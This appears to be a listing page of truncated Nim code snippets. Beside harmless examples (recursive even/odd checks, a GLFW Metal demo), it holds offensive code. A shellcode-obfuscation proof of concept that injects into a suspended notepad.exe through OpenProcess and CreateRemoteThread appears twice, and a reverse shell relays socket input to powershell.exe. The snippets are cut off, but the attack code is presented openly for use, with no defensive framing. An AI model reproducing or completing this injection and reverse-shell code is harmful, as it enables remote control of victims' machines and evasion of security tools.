Code Snippets Nim

Short texts Nim 🧑‍💻 Code snippets Nim ✍️ Reading lists Nim 👀

crazy recursive define of is_even and is_odd in nim

# predicate zero or not proc zero(n : int) : bool = return n==0 # simple subtract 1 proc sub1(n : int) : int = return n-1 # forward defs since this is recursive proc is_odd(n : int) : bool; proc is_even(n : int) : bool; proc is_even(n : int) : bool = # echo(“is […]

A simple PoC for obfuscating shellcode in Nim

# With special thanks to byt3bl33d3r for Offensive Nim! import winim/lean import osproc import base64 import sequtils import strutils proc injectCreateRemoteThread[I, T](shellcode: array[I, T]): void = let tProcess = startProcess(“notepad.exe”) tProcess.suspend() # That’s handy! defer: tProcess.close() echo “[*] Target Process: “, tProcess.processID let pHandle = OpenProcess( PROCESS_ALL_ACCESS, false, cast[DWORD](tProcess.processID) ) defer: CloseHandle(pHandle) echo “[*] pHandle: […]

A simple reverse shell written in Nim

import net import osproc import strformat # Create Socket let port = 9999 let address = “127.0.0.1” let sock = newSocket() # Connect to listener sock.connect(address, Port(port)) #Create Prompt let prompt = “PS> ” while true: # Send prompt send(sock, prompt) # Receive Data # Run command let cmd = recvLine(sock) let output = execProcess(fmt”powershell.exe […]

glfw metal example

#define GLFW_INCLUDE_NONE #import #define GLFW_EXPOSE_NATIVE_COCOA #import #import #import #import #include #include #include static void error_callback(int error, const char* description) { fputs(description, stderr); } static void key_callback(GLFWwindow* window, int key, int scancode, int action, int mods) { if (key == GLFW_KEY_ESCAPE && action == GLFW_PRESS) glfwSetWindowShouldClose(window, GLFW_TRUE); } int main2(void) { id device = MTLCreateSystemDefaultDevice(); if […]

A simple PoC for obfuscating shellcode in Nim

# With special thanks to byt3bl33d3r for Offensive Nim! import winim/lean import osproc import base64 import sequtils import strutils proc injectCreateRemoteThread[I, T](shellcode: array[I, T]): void = let tProcess = startProcess(“notepad.exe”) tProcess.suspend() # That’s handy! defer: tProcess.close() echo “[*] Target Process: “, tProcess.processID let pHandle = OpenProcess( PROCESS_ALL_ACCESS, false, cast[DWORD](tProcess.processID) ) defer: CloseHandle(pHandle) echo “[*] pHandle: […]